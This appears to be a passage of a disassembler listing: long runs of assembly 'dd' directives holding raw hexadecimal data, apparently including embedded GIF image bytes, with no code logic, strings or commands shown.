0B6234B5Eh, 43660EDBh, 0C8FC3B37h, 1F870FC3h, 0E1B7E3F6h dd 0E2AE3B7Ah, 2E9B9AE6h, 0DBAB8D63h, 0B18F63AEh, 913CCEF3h dd 64AF7645h, 0CF664F93h, 6657953Eh, 5F9765B9h, 93663986h dd 40B023F3h, 0D9C66F05h, 76770940h, 2B9F42D0h, 42A4A4FEh dd 71043F0Dh, 268FA344h, 94401071h, 15E9B156h, 45C3E459h dd 1AA6A7A9h, 0D4763C0Fh, 0CD1E47B1h, 0AF4831F0h, 0EC322C83h dd 3260CF23h, 1ECFB34Ah, 8FB4ED23h, 306DB2C4h, 4C52ECB6h dd 530B532Dh, 44CED4CCh, 0A7BD4D53h, 36EFB380h, 4F33B4EDh dd 0B3C707C1h, 728220h, 741F134h, 4450B425h, 22E8E241h dd 0BCA52BC8h, 0EF2FCB72h, 4745D334h, 53D4D51Dh, 55A96553h dd 0C0B747D1h, 6F4E0682h, 4FD40220h, 5B8229FFh, 81F5BF5Fh dd 81082605h, 28E02D7h, 0ACA58000h, 0AB58763Ah, 0A91DED90h dd 0B66F87DCh, 7D9FE2F8h, 0A6B05A36h, 0E6F9A045h, 0DB8B2DAFh dd 0B6EAE0B7h, 0E034082Eh, 0B5717B20h, 0BEDD1ECFh, 0B06C15D6h dd 0C2DDB75h, 0A5E6C55Eh, 30C87D37h, 0CE326CD3h, 5FBF7FDEh dd 4D434B7Eh, 936181B5h, 0F84366Dh, 0DD8FCDDEh, 0FFD850F2h dd 8AB13626h, 8762E701h, 0FE0258D0h, 8F9CF3ADh, 233BEC79h dd 50796083h, 0E192C136h, 0BB313D47h, 73F07F8Fh, 5064FA1Fh dd 0E0F1F983h, 9A3F07Bh, 672CD901h, 0A59E097h, 9FC2A855h dd 18432249h, 910C5A22h, 9912B466h, 622869C8h, 66A089D1h dd 0C8E5A9B5h, 43723987h, 35F6B48Dh, 488D7E22h, 12033A48h dd 0B4367491h, 5789CDA9h, 0B69652B2h, 6DBAB704h, 0C2638AA1h dd 0E8B4DEDBh, 0CE013837h, 9C22778Bh, 90770EE1h, 70CA013Fh dd 43087913h, 46A89222h, 998DB1B5h, 32E55CBBh, 814BC737h dd 0C39C530Ah, 0B73C0A63h, 64B95347h, 95647F74h, 0BA8754E9h dd 74EABC9Fh, 0EC24300Fh, 0DAAB7914h, 0BA786535h, 78B1CA43h dd 2561BBC7h, 33C4784Bh, 0C791265Eh, 0CB51E515h, 449F79h dd 3D32E0F4h, 5C2B79EAh, 0F65EE3DBh, 0EFAE95CEh, 0E130EF8Dh dd 0CEF9976Bh, 0ADF53E87h, 0ABED7DCFh, 0B974FC0Ch, 0E679F92Fh dd 0DFB1AB5Fh, 97FEF2FDh, 8FF1FDBFh, 0A00C0237h, 9BE80700h dd 62E72202h, 2D8DC09h, 7B1D81Bh, 149AD046h, 0E28026C4h dd 7A0C4173h, 0FB2C8350h, 0B6567EE0h, 0A7C66D4Dh, 59CC2666h dd 42B40E84h, 67ECEE76h, 3C618C2Fh, 1AA21867h, 3A86ED32h dd 0F93E03E4h, 0FDAA0780h, 0C4406B50h, 50DCD69Ah, 0E90A8244h dd 923A5388h, 36689893h, 4B0DAA27h, 14DB6864h, 304556E7h dd 596EEDD9h, 0B8DEA2D4h, 7A2FA6E8h, 127A7091h, 92051923h dd 840D3DB8h, 9C746922h, 120A551Bh, 50A4638h, 1D148471h dd 3BA9F533h, 7951AA8Ah, 0F71F14FCh, 0FE402A88h, 5D3F7591h dd 0B91321DDh, 0F23E4548h, 649BBB91h, 3BF29A55h, 93323CACh dd 2764DC9Ah, 4FCA000Fh, 0D42DD28Ah, 54B79EABh, 9A554A99h dd 7BE0300Bh, 25DF2C25h, 32D41ACBh, 4CDCB77Dh, 0AF99772Eh dd 3492FA5Eh, 0FD42D05Eh, 619AE7EEh, 0B598AFEAh, 926EDFF9h dd 65B0AAA9h, 799B332h, 0A4C66684h, 84EE4D39h, 0CC119ACCh dd 83E76266h, 0D38E6E9Eh, 6103303Fh, 8A69BD63h, 9CE7C272h dd 83505C27h, 154ED412h, 1311E23Eh, 1B0BD0B2h, 0CE794F11h dd 0D4F786B0h, 0B1013E21h, 0C1BE7EC3h, 28123445h, 4436B28Fh dd 0A0D415AEh, 0D851FA43h, 84A4B892h, 51A16D96h, 1EDA686Ah dd 568936EAh, 0B25F0B74h, 0A6F2DE28h, 6DEC26A6h, 68EB7FA3h dd 462A3EE0h, 8CB48881h, 0ED3F283h, 87B8EA4Eh, 73A574ACh dd 294BE974h, 8D4E5327h, 0C91EBBCAh, 0C73D4EA3h, 0E8A9ED3h dd 1D53ACA8h, 48890C4Eh, 20322AA2h, 3B00h, 0 dd 38464947h, 3AC6139h, 0FFE7006Ch, 7F5C2F00h, 35925D2Ch dd 60338C5Ch, 8A612E83h, 319C6227h, 62309661h, 91613A91h dd 2C886438h, 6535A066h, 9D692E9Ah, 3695653Fh, 683C9768h dd 0A469318Ch, 3F936A36h, 693B9268h, 0A86C359Fh, 38986E3Bh dd 702FAA6Eh, 9A703DB1h, 479F6D48h, 6F41916Fh, 0A07040A5h dd 319C7436h, 733DAE74h, 9B704796h, 41AD723Ch, 76379D73h dd 0A1793BB8h, 45B27641h, 7938A177h, 0AD7743B4h, 3BBC7C2Fh dd 7D37BB79h, 0A87849ABh, 3FA37750h, 7B41A47Ch, 9E7A4AAAh dd 33987853h, 7858BF7Eh, 9E785692h, 3BBE7C3Eh, 7F40AF81h dd 0A98043BAh, 4AAE7F46h, 833EBA7Dh, 0A4814DB1h, 39B07F51h dd 8344C085h, 0B48541BEh, 59B8824Ch, 815BAC80h, 0A6805EA2h dd 4A9C8161h, 854CAF86h, 0B68843B5h, 3EBA8257h, 8847C489h dd 0B88946BDh, 44C4874Ah, 8A4EB38Bh, 0B58D47B3h, 4CBB8C49h dd 8C51C28Ch, 0C48F43B5h, 54C18A55h, 895FBB8Bh, 0B8904AB7h dd 62BD8F4Ch, 8A68AE8Ah, 0AE8969A5h, 54B18F55h, 9246B88Fh dd 0BB924CC6h, 56C19250h, 8C71BB91h, 0C89253A2h, 61BC9258h dd 9452C38Fh, 0C2925AC3h, 49B89557h, 9459C598h, 0B7935FBEh dd 72B5926Bh, 9755B590h, 0C0965CC6h, 6EC09464h, 9954AD93h dd 0BC985BC2h, 5FBB9663h, 995EC796h, 0BD9865C3h, 5AC59C57h dd 9C5ECB9Bh, 0C59B61BFh, 64AC967Bh, 9B67CB9Ah, 0C69870BFh dd 61C89F5Ah, 9D6AC29Fh, 0B69A7BC2h, 7FCAA15Dh, 9C73B09Ah dd 0B79D75C1h, 64BEA069h, 0A066C4A1h, 0C49F6CCBh, 71CA9E6Eh dd 0A561BF9Fh, 0C8A467CEh, 6DCEA369h, 0A375C3A4h, 0C9A470C3h dd 73CAA669h, 0A181CFA3h, 0CAA37ABDh, 6BC6A770h, 0A673CCA8h dd 0C0A776CCh, 77C6A679h, 0A67ED3A6h, 0CEAA6DC1h, 74CFA976h dd 0A97CC9ABh, 0CFA87EC9h, 78D2AE71h, 0AD7ACDAEh, 0C0AB87D2h dd 7FD2AB81h, 0AE85CDADh, 0D0B17AC8h, 7FCFAD88h, 0B082CAB1h dd 0D1AF8BD0h, 7AD7B086h, 0B47DCDB5h, 0CDB482D2h, 8BD3B385h dd 0B28DCEB3h, 0CFB684D4h, 8ED1B886h, 0B789D1B6h, 0CBB498D7h dd 89D7B591h, 0B697D4BAh, 0CEBA8ED3h, 90CEB895h, 0BE88D4B9h dd 0D0BC90D0h, 96D6BD8Bh, 0BC93DCBAh, 0D7BA9AD7h, 98DDBD8Fh dd 0BE92D1BCh, 0D3BD9AD2h, 93D2BCA1h, 0BF9BD4C0h, 0D6C296D4h dd 9DDCC199h, 0C39BD6C1h, 0D8C29ED2h, 0A4DEC1A1h, 0C59DD3C3h dd 0D9C2A6D4h, 9CD3C2AAh, 0C5A1E0C5h, 0CFC3AFDBh, 0A5E3C6A6h dd 0CAAADFC9h, 0DAC8B1DAh, 0ADD4C8B4h, 0CCA8E1C9h, 0E4CEAAE2h dd 0B1DECEAEh, 0CDB9E4CDh, 0E0CEB6D9h, 0B2E0D0B0h, 0D2BAE2D2h dd 0DED2BEE4h, 0B7E5D5B4h, 0D6BFE7D7h, 0E2D8BBE8h, 0C3E3D7C3h dd 0DCC8EDDBh, 0EADFC3E8h, 0CEECE0CCh, 0E2D1EFE2h, 0EFE4C8E8h dd 0D1F0E4D0h, 0E5D5F1E5h, 0F2E6D2ECh, 0D8EDE7D6h, 0FFFFEFE8h dd 4F921FFh, 0FF000A01h, 2C00h, 3AC0000h, 800006Ch, 2C1700FEh dd 1902070h, 17040703h, 9060984Ch, 1085C301h, 20643E0Dh dd 8145A2B0h, 0D840140Ah, 0C78291B8h, 5A3D208Fh, 0E46170B0h dd 532810C8h, 41E94CAAh, 271289E5h, 799CCA62h, 154CC742h dd 0ACE86A32h, 0CA77391h, 0FA823F19h, 7F44A18h, 93482551h dd 452A452Ah, 50A7950Ah, 22F97CA9h, 0ABD5AA75h, 39BEB267h dd 0D7ABA6F3h, 0EABD60AFh, 6CB64B19h, 167C3E59h, 0A8540A05h dd 8FB6DB10h, 0B9A411Eh, 0BBDD92A9h, 5E6F29Ah, 0DF944A05h dd 70380BFh, 0B0B84536h, 12ACC2E1h, 0B8C59AB3h, 8CC7E3B1h dd 45C64969h, 0CBAE7299h, 0DE697CB9h, 0B13359CCh, 8B42C3CFh dd 0F43A4D1Eh, 53A8D3B2h, 0BACD5EABh, 0B0676B35h, 0D9EC9A1h dd 0DBEDB6BBh, 0A6EB66CEh, 6FB7BB8Dh, 2997AEDFh, 98FC3E1Bh dd 92C2E371h, 0BCCE5F2Bh, 0D05D72F9h, 3E9F4BA3h, 0EBF5977Dh dd 0AF5BB3D8h, 0F7961DC5h, 0FE61E0EFh, 0BE4F1ABDh, 0AAF2F9BCh dd 7552A554h, 0F7FB952Ah, 9FC949F0h, 7CFEBF4Fh, 7BF1F84Ch dd 7F29EFDAh, 4964F7Eh, 8D25A028h, 81604234h, 0E0982608h dd 0D8360C21h, 60942520h, 91252102h, 85E16854h, 0C8B24618h dd 0E2321B86h, 848387A1h, 241FC838h, 5A07F1F2h, 0E2689E26h dd 0E8B62C1Dh, 0C6301C22h, 658C2328h, 8DE368D4h, 0C5E19638h dd 0C8F63C8Eh, 94591663h, 408E6341h, 90246916h, 24A92456h dd 0E9345192h, 325093E4h, 5494E521h, 95A56956h, 0A5A96447h dd 0E9744B96h, 766097E5h, 6498E5B9h, 99C4096Eh, 6679A668h dd 89B44895h, 18409A84h, 3811A721h, 9D6740E0h, 0A7A9E678h dd 0E9F42E9Eh, 4300BA7h, 84A0E82Ah, 881A0C6h, 1506018h dd 0D07C1F06h, 0A89A3C1h, 3418074h, 4340BA51h, 0A9843112h dd 645D0D43h, 86A04651h, 214711CAh, 49126A95h, 0C17AA417h dd 0E4B52A4Ah, 34FE07AAh, 0A930AC5h, 0C2AAD6B4h, 70C93E4Eh dd 0F942AEC3h, 44AF5410h, 5294B0F9h, 0AC65454Eh, 1B2461B1h dd 646117C6h, 61B3ACE5h, 59AD2B45h, 0C7920628h, 0A5B2D85Ah dd 75745C88h, 7AB7D77Bh, 5F57E269h, 2E65F0A2h, 760982B9h dd 2D8A61D8h, 92BBD906h, 65593BC5h, 19D66198h, 5302F830h dd 9DA5BEDAh, 0BFD9F6h, 705C1BFFh, 0DA9329C4h, 0A331B76Fh dd 370CC2F0h, 0CC6C30ACh, 0C4F0E6D4h, 0B0AC4B13h, 7C17056Ah dd 51CF739Ch, 20C7F1E7h, 769D2C87h, 726770BBh, 0CA5E12Dh dd 0A5E679DEh, 0F17C1E97h, 7CDF62A5h, 0DFE291FBh, 0ACE738CDh dd 1E037E5Fh, 3FCFE0A8h, 21E1F837h, 610D1213h, 0A8721986h dd 288C8774h, 50892222h, 8AE2A897h, 0E33D562Eh, 0A8E632D5h dd 7B5C8FB5h, 428F4601h, 91A47D6Ah, 8561664Bh, 1DA65014h dd 5E4D1305h, 56DBF6E9h, 9B7729BAh, 0E6097265h, 0ADE67098h dd 739AFEB7h, 9CA6ADCFh, 0E7BE0271h, 69FF84E0h, 9830A038h dd 83A10260h, 0A268807Eh, 4150568Ah, 0DA3E8EA3h, 180B0601h dd 9701C060h, 4511540Eh, 69AA6E9Bh, 102E9EE7h, 92A3E9EAh dd 2347EA5Ah, 0AA7AEAA9h, 0C1E086ACh, 1AC3B2ECh, 0A6B4AC6Bh dd 3D4EAB60h, 0AED3F4FDh, 0D4351837h, 350EC1AFh, 1EC5B12Ch dd 0CCB2AC8Bh, 0B4ACFB3Eh, 56657FD0h, 9B65681Eh, 66DD216Dh dd 78B7D75Fh, 268A25E5h, 0AE1282E8h, 0B602E9F7h, 0BEED61AEh dd 0F3BCAF0Bh, 666F565Ah, 2FABE59Ch, 930FF4BFh, 0F00C05Ah dd 770F04Ch, 0C5309C23h, 0DC30Eh, 0FFB11807h, 1A630331h dd 38720E3Bh, 758F1C96h, 0C10644Ch, 864E7699h, 90599532h dd 9971E465h, 9EE6607Ah, 13C7D599h, 7FD9D1F2h, 9C1FD3F8h dd 3D1307F1h, 56D019F3h, 0B909A0E8h, 43484270h, 0F116D2DAh dd 2D3DA6A1h, 1A9A276Ah, 22F6AA89h, 6B50F9ACh, 5AEA38FEh dd 70484D7h, 6C619620h, 0D902B248h, 0B536A0ACh, 4F89EDC1h dd 0CC9B9BECh, 0E12FA644h, 0EB7B6F6Dh, 98A4951Bh, 0E042337h dd 1D83808h, 0A788C6E1h, 609F5C3h, 0C1C6388h, 0C839751Ah dd 1D516E41h, 30E59CA0h, 21CD00C7h, 0C3A153C0h, 55304214h dd 4E9C8C3Ah, 0C083A954h, 0AA8244EAh, 558EC1D7h, 0EDD57BB3h dd 0DD02A770h, 0BC778AD5h, 84AF1DFBh, 5E12BF7h, 514C78EBh dd 0C594F29Eh, 8F3966BCh, 1E83D12Bh, 9630F259h, 2DEF596Ah dd 0F716F3DAh, 0EFAE112Ah, 0E37C6F81h, 0CE5F9F2Bh, 0A8C53E87h dd 0A3EC320Fh, 57DC6545h, 0ABE5F8AFh, 1FBBF47Eh, 0BFA188FEh dd 34EC19FDh, 10DF3FEh, 864CA80Bh, 0C805325h, 14C64D4Bh dd 3E060C78h, 89CD1750h, 616D0460h, 87658F0Bh, 0A0B41582h dd 0AF830CAh dd 83B07197h, 80FA41Eh, 12426843h, 9DB092h, 5681901Ah dd 150620B8h, 0FE0C41C8h, 630BA17Ah, 0D5A5B498h, 0C43769D0h dd 0B0F65A21h, 0B0F03F87h, 222C3E45h, 44646311h, 4791091Bh dd 90C3A865h, 22C48488h, 4D896925h, 371428CCh, 4823A54Ah dd 3A596E91h, 808EDD53h, 0DCE2CC5h, 9383726Eh, 0C5F4E317h dd 8C919230h, 0E181C27Dh, 1E534078h, 8E8D8A08h, 0DD1B9472h dd 580C4708h, 380B72EEh, 7A840200h, 20388B47h, 0A3EBA18Fh dd 0AA08FF1Fh, 90720A40h, 21E433ADh, 0DAAAE257h, 0B926922Dh dd 72EF55ABh, 7A4ABC05h, 6BC778B5h, 0B934534Ah, 0F27E4E3Ch dd 0D68CA179h, 8797A859h, 2DAF596Bh, 0F72554A9h, 0BACB095Ah dd 0B47CAB8Ah, 6F2D8C44h, 0EA5C98D9h, 0F3EF9772h, 1980BE25h dd 0AC057F4Ch, 0A621AA98h, 0CC87F934h, 8006F667h, 342C8D8Eh dd 699A79A3h, 1D9ACC6Eh, 21368E73h, 7D8FCDC8h, 14E11613h dd 665905E7h, 0D3A673CEh, 0E774F083h, 0C2466E7Eh, 9E93CD9Eh dd 27FEC4F7h, 4FA42483h, 42D3F218h, 3FE1A433h, 1C223445h dd 5A0889Eh, 121DE83Dh, 3519D0AAh, 8C4246B4h, 60E81D68h dd 0E91E8AC4h, 0A8CD16A2h, 51C49F74h, 6FB47A28h, 0DD420266h dd 0B9269A4Ah, 7E099755h, 0C09CDBD3h, 1297C628h, 0AA78078Eh dd 40614D69h, 20880E82h, 6F85398Eh, 392A771Bh, 5214F9C9h dd 50AA1B9Bh, 4A54722Fh, 0A552D521h, 52EA2A63h, 440A4837h dd 6BB1AA55h, 1AAEED95h, 0CAD2AC93h, 89E13D77h, 614ABCAEh dd 0AC4B0EB0h, 0B2AB2D64h, 0B4AD0ACEh, 6D2CA582h, 4E1F1EA5h dd 6EB8CA89h, 0B574956Fh, 95D32C6Bh, 8626BD57h, 0E5CD7DAFh dd 0D811712Eh, 0B08FC8CDh, 30C65AFCh, 0C5D89B11h, 0B819731Eh dd 6FF8D91h, 4F22D928h, 49C262F6h, 8B3102E0h, 8C86CDD9h dd 26F4DD9Bh, 0DA2B4276h, 65E79ED1h, 0CCED3DA6h, 2EDAA3F4h dd 0F1CB9097h, 590AA794h, 0D59D0878h, 0C5B74296h, 6B0CFEEDh dd 4680C368h, 0BDC1B80Dh, 987B4183h, 0F4311AD0h, 11F23AB8h dd 875A241Bh, 89773AE3h, 92526B64h, 0EFDD3BA6h, 73BAEDBAh dd 0E176E91Bh, 4B435DE4h, 152908C9h, 6BCAE0AFh, 14D53DDEh dd 13ED3407h, 0A8FBDA09h, 0A734E2F7h, 0E469DD3Ah, 0FD290BEAh dd 9ED4E01Eh, 26038822h, 523E5FD0h, 13A6A944h, 59024670h dd 121B03E0h, 81292991h, 0E0C26007h, 91D23813h, 849DF138h dd 0A3C1575h, 6192F257h, 0A1866B1Dh, 7164C9C2h, 0EE1EC3B8h dd 3C43880Ah, 0CF62B7E2h, 0AB9E27C4h, 0D78C558Ah, 7D229B16h dd 0FB059E30h, 0F84BCC66h, 38C6E669h, 75618D26h, 0A31E302Ch dd 4E3F1886h, 0C36F8FF2h, 0D005841Bh, 0D86F8C8h, 59561B90h dd 0C9935725h, 0C7B2764Dh, 2959DCA0h, 55CAA76Fh, 362B5966h dd 0D72D6598h, 765ECC07h, 2CC308E7h, 198D0320h, 0B33B3868h dd 0A1ACD36Dh, 0B790D735h, 702DF5BDh, 43BA0DFEh, 0B894203Ch dd 43689E76h, 96875A21h, 7F46B9E3h, 0A312A24Eh, 1341851Bh dd 784FBA5Ah, 2A3BA382h, 94874545h, 39DE8D6Fh, 0A6ED2095h dd 0D2BA4DBDh, 0A66F5279h, 1369B05Dh, 0EF72DA6Ch, 0E7A829FDh dd 0DAFAD3CBh, 3B9B02B7h, 0D0177EF5h, 7AA88A80h, 14DC7B21h dd 54DD65ACh, 90B54302h, 840B2AAh, 0D9554556h, 0BDD79AE9h dd 8556B5FEh, 1BBBEDh, 3BC4D8C5h, 9C3052CAh, 0DB3765BCh dd 0A506CF93h, 621DA787h, 0DAEF5EB7h, 5DA55D71h, 6EEDBDB6h dd 7CDC18B7h, 0EDB93195h, 0A7746365h, 0FEEF985Bh, 0FDDFBB8Ch dd 26A0E263h, 0CDB316DFh, 9B0F4033h, 37E6E867h, 65B7E405h dd 8E700C97h, 4E07C09h, 0AE75728Fh, 87846543h, 58AD3CE7h dd 0E66539F8h, 0BC472DF0h, 0A14F10CBh, 898E2FC5h, 0E347F904h dd 0C778E42Fh, 4666C695h, 50B7D6F0h, 0FF41791Bh, 0B3930780h dd 7DC6B888h, 0FE2572B9h, 3B987DAAh, 3654957h, 0AE6FCDBFh dd 5CE79CB6h, 92D253E8h, 688E7CDCh, 0FCD75537h, 0A45B7FE6h dd 9745E8BBh, 32E95A56h, 0F7A6F4D5h, 46F769CFh, 0D69F51FDh dd 75675446h, 5A00D5F5h, 36A96A87h, 1086AC10h, 0B16B06ADh dd 76B47646h, 6096B776h, 0BB6BB128h, 21316BD6h, 61060F77h dd 78777775h, 0B2C24967h, 56205477h, 7F56477Dh, 115A7817h dd 56D7846Dh, 89788624h, 0C78C78A7h, 6DE2EA6Dh, 912EE2EDh dd 77936E37h, 3F358219h, 0AE3F66E9h, 79B79A1h, 6F379D6Fh dd 0CF1B77A4h, 67A38470h, 1BB7A664h, 141B66F5h, 40CA6F23h dd 40C7AD4Dh, 47B07AFh, 659F1D47h, 1E36567Bh, 0BB0AD7B9h dd 0F4E97BD7h, 5AD7C07Bh, 57C25AEh, 0B71A3392h, 71C4FA09h dd 2066C5B9h, 2247D07h, 7B50567h, 0D87277D5h, 544072A7h dd 72D07807h, 477DD72Eh, 0B7E25154h, 44C73624h, 0F07E57E4h dd 0E8FE73A7h, 0F73E04C7h, 68E04851h, 6E7F0887h, 245826D3h dd 69446138h, 9827227Ah, 0C4665E86h, 267FB7Fh, 5175169Dh dd 2897537h, 80428929h, 5A75C392h, 0E75C5457h, 80B80C75h dd 7D6AF29Dh, 0A7657644h, 1253AB3Ah, 14551124h, 256B98h dd 48D55777h, 1C6C160Eh, 881E2BA8h, 4A6C877h, 2382404Bh dd 71516CB8h, 78006782h, 6F6D149Fh, 50731630h, 78782C78h dd 8A3DA82Eh, 583178B7h, 83462C57h, 0AE18E790h, 38386310h dd 79583A63h, 0A683D583h, 158A83F1h, 58C4C784h, 0B5845640h dd 98F28481h, 84B8F24Ch, 67A784Ch, 36FE30E4h, 85585485h dd 5A859702h, 0D1E53298h, 7BC7BB85h, 62333860h, 91FC7128h dd 9690C42h, 6890E428h, 0B21386A8h, 91491409h, 680914FBh dd 0D9192166h, 66E71F86h, 0C0872438h, 77D78755h, 44650A87h dd 7567C7D5h, 0E87E06C0h, 7335167Dh, 0E3517881h, 3124FEF7h dd 188F5D39h, 88B7E87Fh, 357E888Dh, 22578909h, 26974689h dd 42273274h, 64668989h, 2489C38h, 9D7FE89Eh, 55F053F6h dd 8A65F339h, 6102015h, 50060088h, 1031083Ah, 9D2976ABh dd 500629E2h, 80F00A00h, 52A3810h, 83AD6066h, 1288B92Ah dd 278188BBh, 12B62B60h, 81F4928Ch, 0C68212C0h, 98258C88h dd 8CE8CC61h, 0A38D03CEh, 0A56F7854h, 8D96D82Dh, 2B8DB4ACh dd 0F78F8336h, 8E118D8Dh, 0E4792191h, 70C30B98h, 83D7966Eh dd 9B6ED1ABh, 0F6FD79C7h, 8F58F079h, 981BD8F5h, 0D8F78F69h dd 31331684h, 0FC8521C4h, 0E4D859A8h, 9004DA8Fh, 0E61DF901h dd 69057B91h, 33490790h, 0FB90A909h, 242990D1h, 9B791542h dd 479129B8h, 82179183h, 71E21066h, 7086F21Fh, 25049208h dd 9245C392h, 2D87B879h, 287E8787h, 92F5D073h, 4D059733h dd 0B44D9334h, 24E04F93h, 1C265937h, 538885FEh, 193B9D62h dd 5DC26F89h, 75942943h, 789B9452h, 2289F94h, 7294C9EAh dd 48A54734h, 0D95280h, 0F311675Dh, 79F680C9h, 39A47D54h dd 0B295F95Dh, 396211A8h, 8B612696h, 69021967h, 78BC1329h dd 96E8BF13h, 1F55D13Ch, 425E4978h, 6CC8CA97h, 781596CDh dd 25699799h, 8D58D48Dh, 0D716D16Bh, 29803D98h, 78E4B098h dd 8C986579h, 0E9880AE1h, 58057F57h, 0BF0BE6E6h, 0A1A18E84h dd 58779A58h, 496EF993h, 0B8459966h, 7A599999h, 3C99D8F2h dd 0C8F9642Ah, 9A38FB30h, 0A60C29A4h, 14134109h, 0AF0B590h dd 0AFA4A32Bh, 0F9AD9AC0h, 9B10A49Ah, 0B09865Eh, 733D9B49h dd 91509433h, 0B89B91F8h, 89BB4FB9h, 5BA42E91h, 0C1A6221Eh dd 491F91E9h, 8768749Ch, 75238728h, 9CA7D40h, 92B7DC07h dd 2E9CE237h, 52478819h dd 88F88688h, 5B51B251h, 0E88893A2h, 9DCA809Dh, 0FE26F26Ch dd 5E37F93Eh, 67F99E34h, 7FC9459Eh, 0E994874Eh, 0D9EB9EB9h dd 6A39EE94h, 0D39C5F5h, 19559F80h, 6AA9589Fh, 0FA3A5761h dd 0E00595D9h, 9FF9FD95h, 6A2A76B5h, 812D3B17h, 1306BC96h dd 0B560DA07h, 4A0A6C02h, 8C46C56Ch, 5D8C63C6h, 2A118C82h dd 8CD566A1h, 0D16D0A15h, 662197B3h, 0A1C7862Dh, 208D997Fh dd 0E183983Ah, 19062F8Dh, 0E3989A26h, 0C3A2A8h, 0A2DA2C0Ch dd 3B8EBA2Eh, 658BA336h, 0A387A0A3h, 3D847ADCh, 30D31B2Ah dd 84884C0Dh, 0C59A084Eh, 0EA4240A1h, 0A46A457Ah, 0DD5A29A8h dd 2A4A9AA1h, 905A4E1Eh, 52A51A50h, 77149B2Ah, 1FE422A5h dd 0B5A5CA5Ch, 0D4FA2155h, 7CF86E7Ch, 22082224h, 907F8727h dd 43FA6AA6h, 24070236h, 0D87C9CA2h, 0A73A7267h, 49732A74h dd 9A783634h, 51A7F036h, 7D36F7E9h, 1A8173BAh, 253A82B2h dd 0E193E744h, 0B94352C9h, 3603603h, 0A8FEA9E5h, 49947A8Bh dd 0AB329EA9h, 8A4A9294h, 7392A94h, 0A75D1080h, 9F211539h dd 0B075E9F7h, 9A9F1158h, 0AA3AA1A9h, 0A67678B4h, 0B8BAAA8Ah dd 3B7AAC8Bh, 6EAB02B6h, 0E779AB29h, 0AB69712Bh, 0C9618AB7h dd 0D977A118h, 2D3ABEABh, 0C18D3073h, 0A08597DAh, 830AC508h dd 32981575h, 54B49848h, 0ACD2EF83h, 2B98BA28h, 0CAD5AD4Ah dd 8EB4C36Eh, 0A4844AD8h, 0FA38ADD7h, 0AE10D0ADh, 391BBB7Eh dd 0CAE7AE6Ah, 4D7AE97Ah, 0B4706AEBh, 14E0AEF7h, 416A491Eh dd 0F5AF4AF3h, 1AF65AAAh, 90D66071h, 0FDA5BAFBh, 5AFFAFDAh dd 91DB025Bh, 71870221h, 0A077B088h, 675923B0h, 0F078235h dd 59CBB11Bh, 61B1392h, 0D07E192Dh, 94483665h, 739250B1h dd 1F51D5D2h, 0E04C889Bh, 0B220509Dh, 0E7BBD04Fh, 0B2722557h dd 69004845h, 2B040943h, 0EB2CBC9Bh, 0A8CA8AB2h, 327FE74Dh dd 0C800BD1Bh, 95046D46h, 75D0FE0Eh, 0FA00D007h, 775DB3D9h dd 8B09F89Fh, 0BAA0B43h, 2AA2AA10h, 0AA5AA46Bh, 4C967126h dd 0C12FB4CBh, 77396C48h, 96A0C8C1h, 0F2C2B534h, 0AB96CA25h dd 0CEABB8CBh, 84A16CF6h, 3D797CA1h, 1F82F625h, 68DA4B0Ah dd 3E7A2257h, 2618FB6Ch, 0AB6F8E1Ah, 0AD298CA2h, 753F498Fh dd 8840C13Bh, 0B793FDADh, 7C8F5B7Ah, 0AC1CB7EBh, 31499B1Bh dd 85AE89A1h, 0B874D9Bh, 32641332h, 154E01DEh, 4329AEF4h dd 9AE9AD90h, 94B929AFh, 0B90CB95Bh, 989B8AFh, 0C89B7B99h dd 5B9D42F7h, 0B05B9FA6h, 6670B07h, 99C7BA45h, 0BA967250h dd 0AD7D9B11h, 8059BAEBh, 5167E206h, 0B45155CFh, 9BB8885Bh dd 9D65DFBBh, 53C59053h, 0C5C0500h, 0C5EA80BCh, 737E7256h dd 4FBBB2h, 0C67BCA38h, 0E7BCC465h, 1B3189C9h, 5F2B33BDh dd 2D9508A4h, 69F2BD70h, 9F395400h, 419F6B3Eh, 1BE1B42Bh dd 0BE5BE3AAh, 0BE7602FEh, 142A7B48h, 0EA05BEB8h, 96D8BEBEh dd 0C53C0BF1h, 0B2BD1456h, 0A0FBF504h, 13AB9975h, 0D781ABCAh dd 0BFFB5FBFh, 26570C00h, 5B669806h, 8DD8DCC0h, 882EDB6Bh dd 2C0B9879h, 0C0E57E6Eh, 3CAD36E7h, 3C144C08h, 0C17C16C1h dd 3B0D06F9h, 0C998C1EAh, 0C1CB7DB7h, 1F1B2C1Dh, 3C22B82Ch dd 0C251CCC2h, 2A4DFC26h, 5C29414Ch, 0B8F1DE7Bh, 92C31A4Fh dd 3712B93Bh, 0B97B9671h, 16C39337h, 0DB9C7C99h, 0C3F220C3h dd 73920BA0h, 767407B6h, 92735135h, 1335887Ch, 0D2CA065Bh dd 7E0C4EC4h, 845CE731h, 544EA816h, 25825AC5h, 3B254CF1h dd 0CC5AC5A9h, 0C5DC59C5h, 0C1C64A81h, 673A9DDBh, 0B2A45E7Eh dd 79D03C67h, 0C387C6A2h, 0C6EBCFC6h, 73471C6Fh, 0D0159504h dd 0BD701C02h, 0F2C76954h, 0EA9775C9h, 0BE4A9F80h, 0B2BE4AA0h dd 63ABC828h, 609127AAh, 0AD12FBEBh, 0CAAF96BAh, 0FEC96E96h dd 3C3C8DC8h, 5625D496h, 0AC93563Bh, 0BFB8278Ch, 0D4C9861Ch dd 8B6382D8h, 0C9E6D96Dh, 0A1D3D78Bh, 4C08CA2Ch, 0CA7C0ACAh dd 9A4BCC0Dh, 5B72AD11h, 0B75CAF3Fh, 0F958DCB1h, 8F7CB56h dd 0CBAA3DD5h, 0F5CB6CBAh, 597CBE8h, 0CC2CC1CCh, 0C5B89B88h dd 0AB8EC2CCh, 860B90CCh, 531F2CCDh, 0AF9713Ah, 0C38CD291h dd 3B915CD4h, 0A21F213Ch, 0B0208A08h, 0A29C3CDAh, 5CDE22CBh dd 5BE232BAh, 57CE3B10h, 82CACE53h, 0A76D8206h, 46CEB248h dd 0C9DE9342h, 68A7E9B1h, 8F24D255h, 0EC59CF68h, 0D93C5D23h dd 52C64CFBh, 7D00CFF2h, 0D0203B26h, 5C68D03h, 727ED06Dh dd 0A8FBCF94h, 72C71D0Bh, 7BD7020Ch, 5430086Ah, 179F2806h dd 0AB439F9Dh, 0C80C7ED1h, 1FD1E54Ch, 3D22B49Dh, 2AA07D2h dd 1BBEFD26h, 0D2A81C8h, 2612C02Ch, 1ABF8D30h, 7D342CD6h dd 7AABF56h, 0D6A1AB60h, 0CB65B646h, 0C8FEDAD3h, 4ADB684Ah dd 8A4B5C07h, 